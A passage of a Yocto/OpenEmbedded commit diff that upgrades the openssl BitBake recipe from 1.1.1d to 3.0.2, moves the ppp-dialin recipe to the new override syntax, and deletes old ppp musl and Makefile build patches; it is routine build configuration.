-perl ./test/run_tests.pl $* | perl -0pe 's#(.*) \.*.ok#PASS: \1#g; s#(.*) \.*.skipped: (.*)#SKIP: \1 (\2)#g; s#(.*) \.*.\nDubious#FAIL: \1#;'
+perl ./test/run_tests.pl $* | sed -u -r -e '/(.*) \.*.ok/ s/^/PASS: /g' -r -e '/Dubious(.*)/ s/^/FAIL: /g' -e '/(.*) \.*.skipped: (.*)/ s/^/SKIP: /g'
diff --git a/meta/recipes-connectivity/openssl/openssl_1.1.1d.bb b/meta/recipes-connectivity/openssl/openssl_1.1.1d.bb
deleted file mode 100644
index 8819e19ec4..0000000000
--- a/meta/recipes-connectivity/openssl/openssl_1.1.1d.bb
+++ /dev/null
@@ -1,204 +0,0 @@
-SUMMARY = "Secure Socket Layer"
-DESCRIPTION = "Secure Socket Layer (SSL) binary and related cryptographic tools."
-HOMEPAGE = "http://www.openssl.org/"
-BUGTRACKER = "http://www.openssl.org/news/vulnerabilities.html"
-SECTION = "libs/network"
-
-# "openssl" here actually means both OpenSSL and SSLeay licenses apply
-# (see meta/files/common-licenses/OpenSSL to which "openssl" is SPDXLICENSEMAPped)
-LICENSE = "openssl"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=d343e62fc9c833710bbbed25f27364c8"
-
-DEPENDS = "hostperl-runtime-native"
-
-SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
- file://run-ptest \
- file://0001-skip-test_symbol_presence.patch \
- file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
- file://afalg.patch \
- "
-
-SRC_URI_append_class-nativesdk = " \
- file://environment.d-openssl.sh \
- "
-
-SRC_URI[md5sum] = "3be209000dbc7e1b95bcdf47980a3baa"
-SRC_URI[sha256sum] = "1e3a91bc1f9dfce01af26026f856e064eab4c8ee0a8f457b5ae30b40b8b711f2"
-
-inherit lib_package multilib_header multilib_script ptest
-MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[cryptodev-linux] = "enable-devcryptoeng,disable-devcryptoeng,cryptodev-linux"
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-#| ./libcrypto.so: undefined reference to `getcontext'
-#| ./libcrypto.so: undefined reference to `setcontext'
-#| ./libcrypto.so: undefined reference to `makecontext'
-EXTRA_OECONF_append_libc-musl = " no-async"
-EXTRA_OECONF_append_libc-musl_powerpc64 = " no-asm"
-
-# adding devrandom prevents openssl from using getrandom() which is not available on older glibc versions
-# (native versions can be built with newer glibc, but then relocated onto a system with older glibc)
-EXTRA_OECONF_class-native = "--with-rand-seed=os,devrandom"
-EXTRA_OECONF_class-nativesdk = "--with-rand-seed=os,devrandom"
-
-# Relying on hardcoded built-in paths causes openssl-native to not be relocateable from sstate.
-CFLAGS_append_class-native = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
-CFLAGS_append_class-nativesdk = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
-
-do_configure () {
- os=${HOST_OS}
- case $os in
- linux-gnueabi |\
- linux-gnuspe |\
- linux-musleabi |\
- linux-muslspe |\
- linux-musl )
- os=linux
- ;;
- *)
- ;;
- esac
- target="$os-${HOST_ARCH}"
- case $target in
- linux-arm*)
- target=linux-armv4
- ;;
- linux-aarch64*)
- target=linux-aarch64
- ;;
- linux-i?86 | linux-viac3)
- target=linux-x86
- ;;
- linux-gnux32-x86_64 | linux-muslx32-x86_64 )
- target=linux-x32
- ;;
- linux-gnu64-x86_64)
- target=linux-x86_64
- ;;
- linux-mips | linux-mipsel)
- # specifying TARGET_CC_ARCH prevents openssl from (incorrectly) adding target architecture flags
- target="linux-mips32 ${TARGET_CC_ARCH}"
- ;;
- linux-gnun32-mips*)
- target=linux-mips64
- ;;
- linux-*-mips64 | linux-mips64 | linux-*-mips64el | linux-mips64el)
- target=linux64-mips64
- ;;
- linux-microblaze* | linux-nios2* | linux-sh3 | linux-sh4 | linux-arc*)
- target=linux-generic32
- ;;
- linux-powerpc)
- target=linux-ppc
- ;;
- linux-powerpc64)
- target=linux-ppc64
- ;;
- linux-riscv32)
- target=linux-generic32
- ;;
- linux-riscv64)
- target=linux-generic64
- ;;
- linux-sparc | linux-supersparc)
- target=linux-sparcv9
- ;;
- esac
-
- useprefix=${prefix}
- if [ "x$useprefix" = "x" ]; then
- useprefix=/
- fi
- # WARNING: do not set compiler/linker flags (-I/-D etc.) in EXTRA_OECONF, as they will fully replace the
- # environment variables set by bitbake. Adjust the environment variables instead.
- PERL5LIB="${S}/external/perl/Text-Template-1.46/lib/" \
- perl ${S}/Configure ${EXTRA_OECONF} ${PACKAGECONFIG_CONFARGS} --prefix=$useprefix --openssldir=${libdir}/ssl-1.1 --libdir=${libdir} $target
- perl ${B}/configdata.pm --dump
-}
-
-do_install () {
- oe_runmake DESTDIR="${D}" MANDIR="${mandir}" MANSUFFIX=ssl install
-
- oe_multilib_header openssl/opensslconf.h
-
- # Create SSL structure for packages such as ca-certificates which
- # contain hard-coded paths to /etc/ssl. Debian does the same.
- install -d ${D}${sysconfdir}/ssl
- mv ${D}${libdir}/ssl-1.1/certs \
- ${D}${libdir}/ssl-1.1/private \
- ${D}${libdir}/ssl-1.1/openssl.cnf \
- ${D}${sysconfdir}/ssl/
-
- # Although absolute symlinks would be OK for the target, they become
- # invalid if native or nativesdk are relocated from sstate.
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/certs')} ${D}${libdir}/ssl-1.1/certs
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/private')} ${D}${libdir}/ssl-1.1/private
- ln -sf ${@oe.path.relative('${libdir}/ssl-1.1', '${sysconfdir}/ssl/openssl.cnf')} ${D}${libdir}/ssl-1.1/openssl.cnf
-}
-
-do_install_append_class-native () {
- create_wrapper ${D}${bindir}/openssl \
- OPENSSL_CONF=${libdir}/ssl-1.1/openssl.cnf \
- SSL_CERT_DIR=${libdir}/ssl-1.1/certs \
- SSL_CERT_FILE=${libdir}/ssl-1.1/cert.pem \
- OPENSSL_ENGINES=${libdir}/engines-1.1
-}
-
-do_install_append_class-nativesdk () {
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-openssl.sh ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
- sed 's|/usr/lib/ssl/|/usr/lib/ssl-1.1/|g' -i ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
-}
-
-PTEST_BUILD_HOST_FILES += "configdata.pm"
-PTEST_BUILD_HOST_PATTERN = "perl_version ="
-do_install_ptest () {
- # Prune the build tree
- rm -f ${B}/fuzz/*.* ${B}/test/*.*
-
- cp ${S}/Configure ${B}/configdata.pm ${D}${PTEST_PATH}
- cp -r ${S}/external ${B}/test ${S}/test ${B}/fuzz ${S}/util ${B}/util ${D}${PTEST_PATH}
-
- # For test_shlibload
- ln -s ${libdir}/libcrypto.so.1.1 ${D}${PTEST_PATH}/
- ln -s ${libdir}/libssl.so.1.1 ${D}${PTEST_PATH}/
-
- install -d ${D}${PTEST_PATH}/apps
- ln -s ${bindir}/openssl ${D}${PTEST_PATH}/apps
- install -m644 ${S}/apps/*.pem ${S}/apps/*.srl ${S}/apps/openssl.cnf ${D}${PTEST_PATH}/apps
- install -m755 ${B}/apps/CA.pl ${D}${PTEST_PATH}/apps
-
- install -d ${D}${PTEST_PATH}/engines
- install -m755 ${B}/engines/ossltest.so ${D}${PTEST_PATH}/engines
-}
-
-# Add the openssl.cnf file to the openssl-conf package. Make the libcrypto
-# package RRECOMMENDS on this package. This will enable the configuration
-# file to be installed for both the openssl-bin package and the libcrypto
-# package since the openssl-bin package depends on the libcrypto package.
-
-PACKAGES =+ "libcrypto libssl openssl-conf ${PN}-engines ${PN}-misc"
-
-FILES_libcrypto = "${libdir}/libcrypto${SOLIBS}"
-FILES_libssl = "${libdir}/libssl${SOLIBS}"
-FILES_openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
-FILES_${PN}-engines = "${libdir}/engines-1.1"
-FILES_${PN}-misc = "${libdir}/ssl-1.1/misc"
-FILES_${PN} =+ "${libdir}/ssl-1.1/*"
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/openssl.sh"
-
-CONFFILES_openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
-
-RRECOMMENDS_libcrypto += "openssl-conf"
-RDEPENDS_${PN}-ptest += "openssl-bin perl perl-modules bash"
-
-BBCLASSEXTEND = "native nativesdk"
-
-CVE_PRODUCT = "openssl:openssl"
diff --git a/meta/recipes-connectivity/openssl/openssl_3.0.2.bb b/meta/recipes-connectivity/openssl/openssl_3.0.2.bb
new file mode 100644
index 0000000000..ff2a22c6c3
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl_3.0.2.bb
@@ -0,0 +1,257 @@
+SUMMARY = "Secure Socket Layer"
+DESCRIPTION = "Secure Socket Layer (SSL) binary and related cryptographic tools."
+HOMEPAGE = "http://www.openssl.org/"
+BUGTRACKER = "http://www.openssl.org/news/vulnerabilities.html"
+SECTION = "libs/network"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=c75985e733726beaba57bc5253e96d04"
+
+SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
+ file://run-ptest \
+ file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
+ file://afalg.patch \
+ file://0001-Configure-do-not-tweak-mips-cflags.patch \
+ "
+
+SRC_URI:append:class-nativesdk = " \
+ file://environment.d-openssl.sh \
+ "
+
+SRC_URI[sha256sum] = "98e91ccead4d4756ae3c9cde5e09191a8e586d9f4d50838e7ec09d6411dfdb63"
+
+inherit lib_package multilib_header multilib_script ptest perlnative
+MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG:class-native = ""
+PACKAGECONFIG:class-nativesdk = ""
+
+PACKAGECONFIG[cryptodev-linux] = "enable-devcryptoeng,disable-devcryptoeng,cryptodev-linux,,cryptodev-module"
+PACKAGECONFIG[no-tls1] = "no-tls1"
+PACKAGECONFIG[no-tls1_1] = "no-tls1_1"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+#| ./libcrypto.so: undefined reference to `getcontext'
+#| ./libcrypto.so: undefined reference to `setcontext'
+#| ./libcrypto.so: undefined reference to `makecontext'
+EXTRA_OECONF:append:libc-musl = " no-async"
+EXTRA_OECONF:append:libc-musl:powerpc64 = " no-asm"
+
+# adding devrandom prevents openssl from using getrandom() which is not available on older glibc versions
+# (native versions can be built with newer glibc, but then relocated onto a system with older glibc)
+EXTRA_OECONF:class-native = "--with-rand-seed=os,devrandom"
+EXTRA_OECONF:class-nativesdk = "--with-rand-seed=os,devrandom"
+
+# Relying on hardcoded built-in paths causes openssl-native to not be relocateable from sstate.
+CFLAGS:append:class-native = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
+CFLAGS:append:class-nativesdk = " -DOPENSSLDIR=/not/builtin -DENGINESDIR=/not/builtin"
+
+# This allows disabling deprecated or undesirable crypto algorithms.
+# The default is to trust upstream choices.
+DEPRECATED_CRYPTO_FLAGS ?= ""
+
+do_configure () {
+ # When we upgrade glibc but not uninative we see obtuse failures in openssl. Make
+ # the issue really clear that perl isn't functional due to symbol mismatch issues.
+ cat <<- EOF > ${WORKDIR}/perltest
+ #!/usr/bin/env perl
+ use POSIX;
+ EOF
+ chmod a+x ${WORKDIR}/perltest
+ ${WORKDIR}/perltest
+
+ os=${HOST_OS}
+ case $os in
+ linux-gnueabi |\
+ linux-gnuspe |\
+ linux-musleabi |\
+ linux-muslspe |\
+ linux-musl )
+ os=linux
+ ;;
+ *)
+ ;;
+ esac
+ target="$os-${HOST_ARCH}"
+ case $target in
+ linux-arc)
+ target=linux-latomic
+ ;;
+ linux-arm*)
+ target=linux-armv4
+ ;;
+ linux-aarch64*)
+ target=linux-aarch64
+ ;;
+ linux-i?86 | linux-viac3)
+ target=linux-x86
+ ;;
+ linux-gnux32-x86_64 | linux-muslx32-x86_64 )
+ target=linux-x32
+ ;;
+ linux-gnu64-x86_64)
+ target=linux-x86_64
+ ;;
+ linux-mips | linux-mipsel)
+ # specifying TARGET_CC_ARCH prevents openssl from (incorrectly) adding target architecture flags
+ target="linux-mips32 ${TARGET_CC_ARCH}"
+ ;;
+ linux-gnun32-mips*)
+ target=linux-mips64
+ ;;
+ linux-*-mips64 | linux-mips64 | linux-*-mips64el | linux-mips64el)
+ target=linux64-mips64
+ ;;
+ linux-microblaze* | linux-nios2* | linux-sh3 | linux-sh4 | linux-arc*)
+ target=linux-generic32
+ ;;
+ linux-powerpc)
+ target=linux-ppc
+ ;;
+ linux-powerpc64)
+ target=linux-ppc64
+ ;;
+ linux-powerpc64le)
+ target=linux-ppc64le
+ ;;
+ linux-riscv32)
+ target=linux-generic32
+ ;;
+ linux-riscv64)
+ target=linux-generic64
+ ;;
+ linux-sparc | linux-supersparc)
+ target=linux-sparcv9
+ ;;
+ mingw32-x86_64)
+ target=mingw64
+ ;;
+ esac
+
+ useprefix=${prefix}
+ if [ "x$useprefix" = "x" ]; then
+ useprefix=/
+ fi
+ # WARNING: do not set compiler/linker flags (-I/-D etc.) in EXTRA_OECONF, as they will fully replace the
+ # environment variables set by bitbake. Adjust the environment variables instead.
+ HASHBANGPERL="/usr/bin/env perl" PERL=perl PERL5LIB="${S}/external/perl/Text-Template-1.46/lib/" \
+ perl ${S}/Configure ${EXTRA_OECONF} ${PACKAGECONFIG_CONFARGS} ${DEPRECATED_CRYPTO_FLAGS} --prefix=$useprefix --openssldir=${libdir}/ssl-3 --libdir=${libdir} $target
+ perl ${B}/configdata.pm --dump
+}
+
+do_install () {
+ oe_runmake DESTDIR="${D}" MANDIR="${mandir}" MANSUFFIX=ssl install
+
+ oe_multilib_header openssl/opensslconf.h
+ oe_multilib_header openssl/configuration.h
+
+ # Create SSL structure for packages such as ca-certificates which
+ # contain hard-coded paths to /etc/ssl. Debian does the same.
+ install -d ${D}${sysconfdir}/ssl
+ mv ${D}${libdir}/ssl-3/certs \
+ ${D}${libdir}/ssl-3/private \
+ ${D}${libdir}/ssl-3/openssl.cnf \
+ ${D}${sysconfdir}/ssl/
+
+ # Although absolute symlinks would be OK for the target, they become
+ # invalid if native or nativesdk are relocated from sstate.
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/certs')} ${D}${libdir}/ssl-3/certs
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/private')} ${D}${libdir}/ssl-3/private
+ ln -sf ${@oe.path.relative('${libdir}/ssl-3', '${sysconfdir}/ssl/openssl.cnf')} ${D}${libdir}/ssl-3/openssl.cnf
+}
+
+do_install:append:class-native () {
+ create_wrapper ${D}${bindir}/openssl \
+ OPENSSL_CONF=${libdir}/ssl-3/openssl.cnf \
+ SSL_CERT_DIR=${libdir}/ssl-3/certs \
+ SSL_CERT_FILE=${libdir}/ssl-3/cert.pem \
+ OPENSSL_ENGINES=${libdir}/engines-3 \
+ OPENSSL_MODULES=${libdir}/ossl-modules
+}
+
+do_install:append:class-nativesdk () {
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-openssl.sh ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
+ sed 's|/usr/lib/ssl/|/usr/lib/ssl-3/|g' -i ${D}${SDKPATHNATIVE}/environment-setup.d/openssl.sh
+}
+
+PTEST_BUILD_HOST_FILES += "configdata.pm"
+PTEST_BUILD_HOST_PATTERN = "perl_version ="
+do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/p_test.so ${D}${PTEST_PATH}/test
+ install -m755 ${B}/test/provider_internal_test.cnf ${D}${PTEST_PATH}/test
+
+ # Prune the build tree
+ rm -f ${B}/fuzz/*.* ${B}/test/*.*
+
+ cp ${S}/Configure ${B}/configdata.pm ${D}${PTEST_PATH}
+ sed 's|${S}|${PTEST_PATH}|g' -i ${D}${PTEST_PATH}/configdata.pm
+ cp -r ${S}/external ${B}/test ${S}/test ${B}/fuzz ${S}/util ${B}/util ${D}${PTEST_PATH}
+
+ # For test_shlibload
+ ln -s ${libdir}/libcrypto.so.1.1 ${D}${PTEST_PATH}/
+ ln -s ${libdir}/libssl.so.1.1 ${D}${PTEST_PATH}/
+
+ install -d ${D}${PTEST_PATH}/apps
+ ln -s ${bindir}/openssl ${D}${PTEST_PATH}/apps
+ install -m644 ${S}/apps/*.pem ${S}/apps/*.srl ${S}/apps/openssl.cnf ${D}${PTEST_PATH}/apps
+ install -m755 ${B}/apps/CA.pl ${D}${PTEST_PATH}/apps
+
+ install -d ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/dasync.so ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/loader_attic.so ${D}${PTEST_PATH}/engines
+ install -m755 ${B}/engines/ossltest.so ${D}${PTEST_PATH}/engines
+
+ install -d ${D}${PTEST_PATH}/providers
+ install -m755 ${B}/providers/legacy.so ${D}${PTEST_PATH}/providers
+
+ install -d ${D}${PTEST_PATH}/Configurations
+ cp -rf ${S}/Configurations/* ${D}${PTEST_PATH}/Configurations/
+
+ # seems to be needed with perl 5.32.1
+ install -d ${D}${PTEST_PATH}/util/perl/recipes
+ cp ${D}${PTEST_PATH}/test/recipes/tconversion.pl ${D}${PTEST_PATH}/util/perl/recipes/
+
+ sed 's|${S}|${PTEST_PATH}|g' -i ${D}${PTEST_PATH}/util/wrap.pl
+}
+
+# Add the openssl.cnf file to the openssl-conf package. Make the libcrypto
+# package RRECOMMENDS on this package. This will enable the configuration
+# file to be installed for both the openssl-bin package and the libcrypto
+# package since the openssl-bin package depends on the libcrypto package.
+
+PACKAGES =+ "libcrypto libssl openssl-conf ${PN}-engines ${PN}-misc"
+
+FILES:libcrypto = "${libdir}/libcrypto${SOLIBS}"
+FILES:libssl = "${libdir}/libssl${SOLIBS}"
+FILES:openssl-conf = "${sysconfdir}/ssl/openssl.cnf \
+ ${libdir}/ssl-3/openssl.cnf* \
+ "
+FILES:${PN}-engines = "${libdir}/engines-3"
+# ${prefix} comes from what we pass into --prefix at configure time (which is used for INSTALLTOP)
+FILES:${PN}-engines:append:mingw32:class-nativesdk = " ${prefix}${libdir}/engines-3"
+FILES:${PN}-misc = "${libdir}/ssl-3/misc ${bindir}/c_rehash"
+FILES:${PN} =+ "${libdir}/ssl-3/* ${libdir}/ossl-modules/"
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/openssl.sh"
+
+CONFFILES:openssl-conf = "${sysconfdir}/ssl/openssl.cnf"
+
+RRECOMMENDS:libcrypto += "openssl-conf"
+RDEPENDS:${PN}-misc = "perl"
+RDEPENDS:${PN}-ptest += "openssl-bin perl perl-modules bash sed"
+
+RDEPENDS:${PN}-bin += "openssl-conf"
+
+BBCLASSEXTEND = "native nativesdk"
+
+CVE_PRODUCT = "openssl:openssl"
+
+CVE_VERSION_SUFFIX = "alphabetical"
+
+# Only affects OpenSSL >= 1.1.1 in combination with Apache < 2.4.37
+# Apache in meta-webserver is already recent enough
+CVE_CHECK_IGNORE += "CVE-2019-0190"
diff --git a/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb b/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
index b5f68951d7..8a6c297cb0 100644
--- a/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
+++ b/meta/recipes-connectivity/ppp-dialin/ppp-dialin_0.1.bb
@@ -1,7 +1,8 @@
SUMMARY = "Enables PPP dial-in through a serial connection"
SECTION = "console/network"
+DESCRIPTION = "PPP dail-in provides a point to point protocol (PPP), so that other computers can dial up to it and access connected networks."
DEPENDS = "ppp"
-RDEPENDS_${PN} = "ppp"
+RDEPENDS:${PN} = "ppp"
PR = "r8"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -22,6 +23,6 @@ do_install() {
}
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --home /dev/null \
+USERADD_PARAM:${PN} = "--system --home /dev/null \
--no-create-home --shell ${sbindir}/ppp-dialin \
--no-user-group --gid nogroup ppp"
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch b/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch
deleted file mode 100644
index 763e374488..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-Fix-build-with-musl.patch
+++ /dev/null
@@ -1,163 +0,0 @@
-From 52a1e41d7541b2c936285844c59bd1be21797860 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 May 2015 14:57:05 -0700
-Subject: [PATCH] Fix build with musl
-
-There are several assumption about glibc
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- include/net/ppp_defs.h | 2 ++
- pppd/Makefile.linux | 2 +-
- pppd/magic.h | 6 +++---
- pppd/plugins/rp-pppoe/config.h | 5 ++++-
- pppd/plugins/rp-pppoe/plugin.c | 1 -
- pppd/plugins/rp-pppoe/pppoe-discovery.c | 8 ++++----
- pppd/plugins/rp-pppoe/pppoe.h | 2 +-
- pppd/sys-linux.c | 3 ++-
- 8 files changed, 17 insertions(+), 12 deletions(-)
-
-diff --git a/include/net/ppp_defs.h b/include/net/ppp_defs.h
-index b06eda5..dafa36c 100644
---- a/include/net/ppp_defs.h
-+++ b/include/net/ppp_defs.h
-@@ -38,6 +38,8 @@
- #ifndef _PPP_DEFS_H_
- #define _PPP_DEFS_H_
-
-+#include <sys/time.h>
-+
- /*
- * The basic PPP frame.
- */
-diff --git a/pppd/Makefile.linux b/pppd/Makefile.linux
-index 8ab2102..d7e2564 100644
---- a/pppd/Makefile.linux
-+++ b/pppd/Makefile.linux
-@@ -126,7 +126,7 @@ LIBS += -lcrypt
- #endif
-
- ifdef USE_LIBUTIL
--CFLAGS += -DHAVE_LOGWTMP=1
-+#CFLAGS += -DHAVE_LOGWTMP=1
- LIBS += -lutil
- endif
-
-diff --git a/pppd/magic.h b/pppd/magic.h
-index c81213b..9d399e3 100644
---- a/pppd/magic.h
-+++ b/pppd/magic.h
-@@ -42,8 +42,8 @@
- * $Id: magic.h,v 1.5 2003/06/11 23:56:26 paulus Exp $
- */
-
--void magic_init __P((void)); /* Initialize the magic number generator */
--u_int32_t magic __P((void)); /* Returns the next magic number */
-+void magic_init (void); /* Initialize the magic number generator */
-+u_int32_t magic (void); /* Returns the next magic number */
-
- /* Fill buffer with random bytes */
--void random_bytes __P((unsigned char *buf, int len));
-+void random_bytes (unsigned char *buf, int len);
-diff --git a/pppd/plugins/rp-pppoe/config.h b/pppd/plugins/rp-pppoe/config.h
-index 5703087..fff032e 100644
---- a/pppd/plugins/rp-pppoe/config.h
-+++ b/pppd/plugins/rp-pppoe/config.h
-@@ -78,8 +78,9 @@
- #define HAVE_NET_IF_ARP_H 1
-
- /* Define if you have the <net/ethernet.h> header file. */
-+#ifdef __GLIBC__
- #define HAVE_NET_ETHERNET_H 1
--
-+#endif
- /* Define if you have the <net/if.h> header file. */
- #define HAVE_NET_IF_H 1
-
-@@ -102,7 +103,9 @@
- #define HAVE_NETPACKET_PACKET_H 1
-
- /* Define if you have the <sys/cdefs.h> header file. */
-+#ifdef __GLIBC__
- #define HAVE_SYS_CDEFS_H 1
-+#endif
-
- /* Define if you have the <sys/dlpi.h> header file. */
- /* #undef HAVE_SYS_DLPI_H */
-diff --git a/pppd/plugins/rp-pppoe/plugin.c b/pppd/plugins/rp-pppoe/plugin.c
-index a8c2bb4..ca34d79 100644
---- a/pppd/plugins/rp-pppoe/plugin.c
-+++ b/pppd/plugins/rp-pppoe/plugin.c
-@@ -46,7 +46,6 @@ static char const RCSID[] =
- #include <unistd.h>
- #include <fcntl.h>
- #include <signal.h>
--#include <net/ethernet.h>
- #include <net/if_arp.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_pppox.h>
-diff --git a/pppd/plugins/rp-pppoe/pppoe-discovery.c b/pppd/plugins/rp-pppoe/pppoe-discovery.c
-index 3d3bf4e..d42f619 100644
---- a/pppd/plugins/rp-pppoe/pppoe-discovery.c
-+++ b/pppd/plugins/rp-pppoe/pppoe-discovery.c
-@@ -27,10 +27,6 @@
- #include <linux/if_packet.h>
- #endif
-
--#ifdef HAVE_NET_ETHERNET_H
--#include <net/ethernet.h>
--#endif
--
- #ifdef HAVE_ASM_TYPES_H
- #include <asm/types.h>
- #endif
-@@ -47,6 +43,10 @@
- #include <net/if_arp.h>
- #endif
-
-+#ifndef __GLIBC__
-+#define error(x...) fprintf(stderr, x)
-+#endif
-+
- char *xstrdup(const char *s);
- void usage(void);
-
-diff --git a/pppd/plugins/rp-pppoe/pppoe.h b/pppd/plugins/rp-pppoe/pppoe.h
-index 9ab2eee..75b9004 100644
---- a/pppd/plugins/rp-pppoe/pppoe.h
-+++ b/pppd/plugins/rp-pppoe/pppoe.h
-@@ -92,7 +92,7 @@ typedef unsigned long UINT32_t;
- #ifdef HAVE_SYS_SOCKET_H
- #include <sys/socket.h>
- #endif
--#ifndef HAVE_SYS_DLPI_H
-+#if !defined HAVE_SYS_DLPI_H && defined HAVE_NET_ETHERNET_H
- #include <netinet/if_ether.h>
- #endif
- #endif
-diff --git a/pppd/sys-linux.c b/pppd/sys-linux.c
-index a105505..49b0273 100644
---- a/pppd/sys-linux.c
-+++ b/pppd/sys-linux.c
-@@ -112,7 +112,7 @@
- #include <linux/types.h>
- #include <linux/if.h>
- #include <linux/if_arp.h>
--#include <linux/route.h>
-+/* #include <linux/route.h> */
- #include <linux/if_ether.h>
- #endif
- #include <netinet/in.h>
-@@ -145,6 +145,7 @@
- #endif
-
- #ifdef INET6
-+#include <net/route.h>
- #ifndef _LINUX_IN6_H
- /*
- * This is in linux/include/net/ipv6.h.
---
-2.1.4
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Fix-compilation-errors-in-Makefile.patch b/meta/recipes-connectivity/ppp/ppp/0001-ppp-Fix-compilation-errors-in-Makefile.patch
deleted file mode 100644
index ea4969b366..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Fix-compilation-errors-in-Makefile.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From ba0f6058d1f25b2b60fc31ab2656bf12a71ffdab Mon Sep 17 00:00:00 2001
-From: Lu Chong <Chong.Lu@windriver.com>
-Date: Tue, 5 Nov 2013 17:32:56 +0800
-Subject: [PATCH] ppp: Fix compilation errors in Makefile
-
-Make can't exit while compilation error occurs in subdir for plugins building.
-
-Upstream-Status: Pending
-
-Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
----
- pppd/plugins/Makefile.linux | 1 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
-
-diff --git a/pppd/plugins/Makefile.linux b/pppd/plugins/Makefile.linux
-index 0a7ec7b..2a2c15a 100644
---- a/pppd/plugins/Makefile.linux
-+++ b/pppd/plugins/Makefile.linux
-@@ -20,7 +20,7 @@ include .depend
- endif
-
- all: $(PLUGINS)
-- for d in $(SUBDIRS); do $(MAKE) $(MFLAGS) -C $$d all; done
-+ for d in $(SUBDIRS); do $(MAKE) $(MFLAGS) -C $$d all || exit 1; done
-
- %.so: %.c
- $(CC) -o $@ $(LDFLAGS) $(CFLAGS) $^
---
-1.7.9.5
-
diff --git a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch b/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch
deleted file mode 100644
index a32f89fbc8..0000000000
--- a/meta/recipes-connectivity/ppp/ppp/0001-ppp-Remove-unneeded-include.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-commit cd90fd147844a0cfec101f1e2db7a3c59d236621
-Author: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Wed Dec 28 14:11:22 2016 +0200
-
-pppol2tp plugin: Remove unneeded include
-
-The include is not required and will break compile on musl libc with
-
-| In file included from pppol2tp.c:34:0:
-| /usr/include/linux/if.h:97:2: error: expected identifier before numeric constant
-| IFF_LOWER_UP = 1<<16, /* __volatile__ */
-
-Patch originally from Khem Raj.
-
-Upstream-Status: Pending [https://github.com/paulusmack/ppp/issues/73]
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-
-diff --git a/pppd/plugins/pppol2tp/openl2tp.c b/pppd/plugins/pppol2tp/openl2tp.c
-index 9643b96..458316b 100644
---- a/pppd/plugins/pppol2tp/openl2tp.c
-+++ b/pppd/plugins/pppol2tp/openl2tp.c
-@@ -47,7 +47,6 @@
- #include <linux/if_ether.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_ppp.h>
--#include <linux/if_pppox.h>
- #include <linux/if_pppol2tp.h>
-
- #include "l2tp_event.h"
-diff --git a/pppd/plugins/pppol2tp/pppol2tp.c b/pppd/plugins/pppol2tp/pppol2tp.c
-index 0e28606..4f6d98c 100644
---- a/pppd/plugins/pppol2tp/pppol2tp.c
-+++ b/pppd/plugins/pppol2tp/pppol2tp.c
-@@ -46,7 +46,6 @@
- #include <linux/if_ether.h>
- #include <linux/ppp_defs.h>
- #include <linux/if_ppp.h>
